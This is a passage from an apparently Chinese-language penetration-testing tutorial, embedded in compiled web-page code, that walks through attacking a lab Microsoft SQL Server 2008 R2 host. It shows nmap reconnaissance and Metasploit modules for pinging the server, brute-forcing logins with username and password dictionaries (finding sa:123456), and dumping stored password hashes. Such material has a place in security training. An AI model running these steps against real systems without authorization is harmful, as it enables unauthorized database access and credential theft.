--script=ms-sql-info -p 1434 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:59 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00044s latency).\n[*] Nmap: PORT STATE SERVICE\n[*] Nmap: 1434/udp open|filtered ms-sql-m\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Host script results:\n[*] Nmap: | ms-sql-info:\n[*] Nmap: | Windows server name: LIUYAZHUANG-PC\n[*] Nmap: | 192.168.109.139\\MSSQLSERVER:\n[*] Nmap: | Instance name: MSSQLSERVER\n[*] Nmap: | Version:\n[*] Nmap: | name: Microsoft SQL Server 2008 R2 SP2\n[*] Nmap: | number: 10.50.4000.00\n[*] Nmap: | Product: Microsoft SQL Server 2008 R2\n[*] Nmap: | Service pack level: SP2\n[*] Nmap: | Post-SP patches applied: false\n[*] Nmap: | TCP port: 1433\n[*] Nmap: | Named pipe: \\\\192.168.109.139\\pipe\\sql\\query\n[*] Nmap: |_ Clustered: false\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br")])]),n("h2",{attrs:{id:"使用metasploit的模块进行扫描"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#使用metasploit的模块进行扫描"}},[s._v("#")]),s._v(" 使用Metasploit的模块进行扫描")]),s._v(" "),n("p",[s._v("这里,我们用到可Metasploit的mssql_ping")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_ping\nshow options\nset RHOSTS 192.168.109.139\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/scanner/mssql/mssql_ping\nmsf auxiliary(scanner/mssql/mssql_ping) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_ping):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOSTS yes The target address range or CIDR identifier\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_ping) > \nmsf auxiliary(scanner/mssql/mssql_ping) > \nmsf auxiliary(scanner/mssql/mssql_ping) > run\n\n[*] 192.168.109.139: - SQL Server information for 192.168.109.139:\n[+] 192.168.109.139: - ServerName = LIUYAZHUANG-PC\n[+] 192.168.109.139: - InstanceName = MSSQLSERVER\n[+] 192.168.109.139: - IsClustered = No\n[+] 192.168.109.139: - Version = 10.50.4000.0\n[+] 192.168.109.139: - tcp = 1433\n[+] 192.168.109.139: - np = \\\\LIUYAZHUANG-PC\\pipe\\sql\\query\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_ping) >\n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br")])]),n("h2",{attrs:{id:"爆破mssql密码"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#爆破mssql密码"}},[s._v("#")]),s._v(" 爆破MSSQL密码")]),s._v(" "),n("p",[s._v("这里,用到的是Metasploit的mssql_login模块。")]),s._v(" "),n("p",[s._v("MSSQL的默认用户名为sa,默认密码为空,所以我们先测试下用户名为sa,密码为空的情况:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_login\nshow options\nset RHOSTS 192.168.109.139\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login\nmsf auxiliary(scanner/mssql/mssql_login) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_login):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BLANK_PASSWORDS false no Try blank passwords for all users\n BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5\n DB_ALL_CREDS false no Try each user/password couple stored in the current database\n DB_ALL_PASS false no Add all passwords in the current database to the list\n DB_ALL_USERS false no Add all users in the current database to the list\n PASSWORD no A specific password to authenticate with\n PASS_FILE no File containing passwords, one per line\n RHOSTS yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host\n TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\"\n THREADS 1 yes The number of concurrent threads\n USERNAME no A specific username to authenticate as\n USERPASS_FILE no File containing users and passwords separated by space, one pair per line\n USER_AS_PASS false no Try the username as the password for all users\n USER_FILE no File containing usernames, one per line\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n VERBOSE true yes Whether to print output for all attempts\n\nmsf auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_login) > run\n\n[*] 192.168.109.139:1433 - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.\n[*] Error: 192.168.109.139: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::MSSQL)\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_login) > \n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br")])]),n("p",[s._v("可以看到登录失败,所以目标数据库的账户和密码不是默认的。")]),s._v(" "),n("p",[s._v("这里,我们继续构造目标数据库的用户名字典和密码字典,分别为:/root/user.txt 和 /root/pass.txt")]),s._v(" "),n("p",[s._v("接下来,我们使用用户名字典和密码字典爆破目标数据库")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_login\nshow options\nset RHOSTS 192.168.109.139\nset USER_FILE /root/user.txt\nset PASS_FILE /root/pass.txt\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/scanner/mssql/mssql_login\nmsf auxiliary(scanner/mssql/mssql_login) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_login):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BLANK_PASSWORDS false no Try blank passwords for all users\n BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5\n DB_ALL_CREDS false no Try each user/password couple stored in the current database\n DB_ALL_PASS false no Add all passwords in the current database to the list\n DB_ALL_USERS false no Add all users in the current database to the list\n PASSWORD no A specific password to authenticate with\n PASS_FILE no File containing passwords, one per line\n RHOSTS 192.168.109.139 yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME no A specific username to authenticate as\n USERPASS_FILE no File containing users and passwords separated by space, one pair per line\n USER_AS_PASS false no Try the username as the password for all users\n USER_FILE no File containing usernames, one per line\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n VERBOSE true yes Whether to print output for all attempts\n\nmsf auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/user.txt\nUSER_FILE => /root/user.txt\nmsf auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/pass.txt\nPASS_FILE => /root/pass.txt\nmsf auxiliary(scanner/mssql/mssql_login) > run\n\n[*] 192.168.109.139:1433 - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\sa:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\sa:liu (Incorrect: )\n[+] 192.168.109.139:1433 - 192.168.109.139:1433 - Login Successful: WORKSTATION\\sa:123456\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_login) > \n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br"),n("span",{staticClass:"line-number"},[s._v("75")]),n("br"),n("span",{staticClass:"line-number"},[s._v("76")]),n("br"),n("span",{staticClass:"line-number"},[s._v("77")]),n("br"),n("span",{staticClass:"line-number"},[s._v("78")]),n("br"),n("span",{staticClass:"line-number"},[s._v("79")]),n("br"),n("span",{staticClass:"line-number"},[s._v("80")]),n("br"),n("span",{staticClass:"line-number"},[s._v("81")]),n("br"),n("span",{staticClass:"line-number"},[s._v("82")]),n("br"),n("span",{staticClass:"line-number"},[s._v("83")]),n("br"),n("span",{staticClass:"line-number"},[s._v("84")]),n("br"),n("span",{staticClass:"line-number"},[s._v("85")]),n("br"),n("span",{staticClass:"line-number"},[s._v("86")]),n("br"),n("span",{staticClass:"line-number"},[s._v("87")]),n("br"),n("span",{staticClass:"line-number"},[s._v("88")]),n("br"),n("span",{staticClass:"line-number"},[s._v("89")]),n("br")])]),n("p",[s._v("可以看到目标数据库的用户名为sa,密码为123456")]),s._v(" "),n("h2",{attrs:{id:"查找-捕获服务器的口令"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#查找-捕获服务器的口令"}},[s._v("#")]),s._v(" 查找/捕获服务器的口令")]),s._v(" "),n("p",[s._v("这里,用到的是Metasploit的mssql_hashdump模块。")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_hashdump\nshow options\nset RHOSTS 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf auxiliary(scanner/mssql/mssql_login) > use auxiliary/scanner/mssql/mssql_hashdump \nmsf auxiliary(scanner/mssql/mssql_hashdump) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_hashdump):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOSTS yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(scanner/mssql/mssql_hashdump) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_hashdump) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(scanner/mssql/mssql_hashdump) > run\n\n[*] 192.168.109.139:1433 - Instance Name: nil\n[+] 192.168.109.139:1433 - Saving mssql05 = sa:0100803a5accdbbe36fd02ade28e2e4ed463f311238ab3410a92\n[+] 192.168.109.139:1433 - Saving mssql05 = ##MS_PolicyTsqlExecutionLogin##:0100ab666dffdfa0f0ce5d9dc217abc8b87bface1efda74dba9c\n[+] 192.168.109.139:1433 - Saving mssql05 = ##MS_PolicyEventProcessingLogin##:0100ad950534143cd9e69553cd7715b5d0b68c54032124ee8992\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] 